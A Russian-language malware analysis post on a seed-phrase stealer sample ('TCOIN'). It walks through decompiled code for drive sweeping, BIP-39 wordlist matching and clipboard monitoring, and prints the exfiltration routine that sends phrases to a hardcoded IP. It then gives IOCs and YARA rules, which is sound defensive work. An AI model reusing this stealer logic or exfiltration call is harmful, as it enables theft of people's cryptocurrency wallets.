MalwareBazaar Sample #2

2026-07-28

1 | Intro

MalwareBazaar Link

02479b50896ebe3d90514056603edb2ba16394bfe2249e1eca795667f8ca1508 - это простой стилер мнемонических фраз. Ни упаковки, ни обфускации, ни персистентности. Все функции делают ровно то, что написано в их именах.

Функциональность: один раз обходит все диски в поисках seed-фраз в файлах, дальше бесконечно мониторит буфер обмена. Всё найденное уходит GET-запросом на захардкоженный IP.

Fig. 1 | DiE

2 | Code

int __stdcall wWinMain(...)
{
  Sleep(0x7D0u);                              // 2 секунды
  MutexA = CreateMutexA(0, 0, "TCOIN");
  if ( !MutexA ) ExitProcess(1u);
  if ( GetLastError() == 183 ) ExitProcess(0);  // ERROR_ALREADY_EXISTS

  if ( sub_401000(MutexA) )
    CreateThread(0, 0, StartAddress, 0, 0, 0);  // обход дисков

  while ( 1 ) {
    sub_401530();                               // буфер обмена
    Sleep(0x7D0u);
  }
}

Всё устройство программы видно сразу:

  1. Sleep(2000) попытка пересидеть песочницу
  2. мьютекс TCOIN - чтобы не было два инстанса, имя hardcoded
  3. отдельный поток на разовый обход дисков, основной поток - вечный цикл опроса буфера обмена раз в две секунды

Имя мьютекса дает имя семейству в этом разборе: публичного названия у него нет (об этом в конце).

2.1 | Scan once

char sub_401000()
{
  if ( !ExpandEnvironmentStringsW(L"%appdata%", Dst, 0x104u) ) return 0;
  PathCombineW(Dst, Dst, L"6636346.txt");
  if ( PathFileExistsW(Dst) ) return 0;          // уже сканировали
  hObject = CreateFileW(Dst, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, ...);
  if ( hObject != INVALID_HANDLE_VALUE ) CloseHandle(hObject);
  return 1;
}

Пустой файл %APPDATA%\6636346.txt - флаг “полный обход дисков уже выполнен”. Есть файл \Rightarrow поток не запускается, работает только клиппер. Логика: рекурсивный обход всех дисков стоит дорого и заметен по I/O.

2.2 | Какие диски обходить

int sub_401FB0()   // логические диски за вычетом скрытых политикой
{
  LogicalDrives = GetLogicalDrives();
  hKey[0] = HKEY_LOCAL_MACHINE;  hKey[1] = HKEY_CURRENT_USER;
  for ( i = 0; i < 2; ++i ) {
    RegOpenKeyExW(hKey[i],
      L"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", ...);
    RegQueryValueExW(phkResult, L"NoDrives", ...);
    v6 |= *(_DWORD *)Data;
  }
  return LogicalDrives & ~v6;
}

NoDrives - политика, скрывающая буквы дисков в проводнике. Малварь читает её и исключает такие диски из обхода.

Смысла в этом нет: скрытые диски содержат данные не хуже остальных. Похоже на копирование кода из какого-то легитимного примера перечисления дисков.

Дальше фильтр по типу:

v2 = sub_401ED0(v4, i, pszDir);
if ( v2 >= 2 && v2 <= 4 )      // REMOVABLE, FIXED, REMOTE
  sub_401A20(pszDir);

То есть removable, fixed (локальные) и сетевые диски. CD-ROM и RAM-диски пропускаются.

Функция sub_401F30 дополнительно проверяет через QueryDosDeviceW, что устройство резолвится в \??\ - для стрипа виртуальных и подставных букв

2.3 | Обход файловой системы

BOOL sub_401A20(LPCWSTR pszDir)
{
  SubStr[0] = L"windows";  SubStr[1] = L"boot";
  SubStr[2] = L"perflogs"; SubStr[3] = L"intel";
  SubStr[4] = L"msocache"; SubStr[5] = L"$recycle.bin";
  ...

Рекурсия по каталогам с чёрным списком. Исключения - системные каталоги, где пользовательских документов не бывает (наверное для экономии времени)

Список расширений:

.txt .doc .sql .md .ini .rtf .csv .xls .xlsx .mnemonic .json
.eml .msg .log .mbox .xml .yaml .yml .tsv .plist
.bat .cmd .sh .php .asp .jsp .html .htm

Три группы:

  1. Документы
  2. Почта (.eml, .msg, .mbox)
  3. Исходники и конфиги (.php, .json, .yml, .sh)

.mnemonic - расширение, которое существует практически только в контексте криптокошельков. Цель программы именно мнемонические фразы, а не кошельки

2.4 | Как распознаётся seed-фраза

Подсчет слов, проверка длины

v8 = sub_401120(Buffer);            // количество слов
for ( i = 0; i < 5; ++i )
  if ( v8 == dword_40A188[i] ) { ... }

Массив из пяти значений - это допустимые длины BIP-39: 12, 15, 18, 21, 24. В коде работы с буфером обмена они выписаны явно:

if ( v19 == 12 || v19 == 15 || v19 == 18 || v19 == 21 || v19 == 24 )

2.5 | Проверка is_word_in_dict

char sub_401280(int a1, int a2)
{
  for ( i = 0; i < a2; ++i ) {
    v4 = 0;
    for ( j = 0; j < 0x800; ++j )            // 0x800 = 2048
      if ( !wcscmp(*(const wchar_t **)(a1 + 4 * i), (&String2)[j]) ) { v4 = 1; break; }
    if ( !v4 ) return 0;                     // хоть одно слово не из словаря
  }
  return 1;
}

0x800 = 2048 - размер английского словаря BIP-39. Он вшит в бинарь массивом широких строк начиная с String2.

Алгоритм: линейный поиск каждого слова по всему словарю, то есть до 2048 вызовов wcscmp на слово и до 49 152 на фразу из 24 слов, что в итоге приводит к неэффективности малвари + дает большую нагрузку на комп. Можно было сделать хеш-таблицу/бинарный поиск, и т.д + стоит отметить что в BIP-39 последнее слово содержит контрольную сумму от энтропии. Автор его не проверяет, на сервер полетит и просто текст, случайно состоящий из 12 английских слов, входящих в список.

2.6 | Мониторинг буфера обмена

char sub_401530()
{
  if ( !OpenClipboard(0) ) return 0;
  hMem = GetClipboardData(0xDu);              // CF_UNICODETEXT
  ...
  for ( i = v21; *i; ++i ) {                  // учет пробелов
    ...
    if ( v19 > 24 ) { ...; return 0; }        // больше 24 слов - не фраза
  }

Читает Unicode-текст, схлопывает пробельные последовательности в одиночные пробелы, считает слова.

Проверка через буфер, без нее одна фраза бы спамилась каждый beacon tick (2 sec):

if ( !wcscmp(String1, word_40D028) ) return 0;   // то же, что в прошлый раз
wsprintfW(word_40D028, L"%s", String1);

2.7 | Exfiltration

Комментарии излишни.

BOOL sub_4010A0(int a1)
{
  wsprintfW(szUrl, L"http://178.16.54.109/tcoin.php?s=%s", a1);
  hInternet = InternetOpenW(
      L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
      L"(KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36", 0,0,0,0);
  if ( hInternet ) {
    v4 = InternetOpenUrlW(hInternet, szUrl, 0, 0, 0, 0);
    InternetCloseHandle(v4);
  }
  return InternetCloseHandle(hInternet);
}

Простой HTTP запрос, GET с фразой в query string (значит видно в логах), айпи хардкод, проверка на UA. Дампится успешный match на сервер, без фидбека (InternetOpenW сразу закрывается) \Rightarrow это даже не С2.

3 | IOCs

Файл

SHA-256  02479b50896ebe3d90514056603edb2ba16394bfe2249e1eca795667f8ca1508
(i386)

Сеть/C2

http://178.16.54.109/tcoin.php?s=<seed phrase, URL-encoded>

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
            (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36

Хост

Мьютекс: TCOIN
Файл:    %APPDATA%\6636346.txt   (пустой, маркер выполненного обхода)

4 | Детект

На этот семпл:

rule TCOIN_SeedStealer
{
    meta:
        description = "Seed phrase stealer, clipboard + filesystem sweep"
        reference   = "seinsverlassenheit.ru"
        hash        = "02479b50896ebe3d90514056603edb2ba16394bfe2249e1eca795667f8ca1508"

    strings:
        $mutex  = "TCOIN" ascii fullword
        $marker = "6636346.txt" wide
        $url    = "/tcoin.php?s=%s" wide
        $ip     = "178.16.54.109" wide

        // необычные расширения
        $ext1   = ".mnemonic" wide
        $ext2   = ".mbox" wide

    condition:
        uint16(0) == 0x5A4D 
        and filesize < 200KB 
        and ( ($mutex and $marker) or $url or ($ip and $ext1) )
}

Правило на класс:

rule Generic_BIP39_Wordlist
{
    meta:
        description = "BIP39 is present"
        note        = ""

    strings:
        // первые и последние слова списка + редкие середины
        $w1  = "abandon" wide
        $w2  = "ability" wide
        $w3  = "zebra"   wide
        $w4  = "zoo"     wide
        $w5  = "mnemonic" wide nocase
        // маркеры длин фразы рядом в коде
        $len = { 0C 00 00 00 0F 00 00 00 12 00 00 00 15 00 00 00 18 00 00 00 }

    condition:
        uint16(0) == 0x5A4D 
        and filesize < 5MB 
        and ( (all of ($w1, $w2, $w3, $w4)) or ($len and 2 of ($w*)) )
}

$len - тот массив dword_40A188 с длинами 12/15/18/21/24 подряд. Т.к словарь + массив длин фраз не может юзаться в легитимных программах, т.к настоящий кошелёк проверяет checksum

todo: (Sigma) процесс с gui , открывает WININET на hardcoded IP, при этом открывал %APPDATA%\ХХХ.txt + мьютекс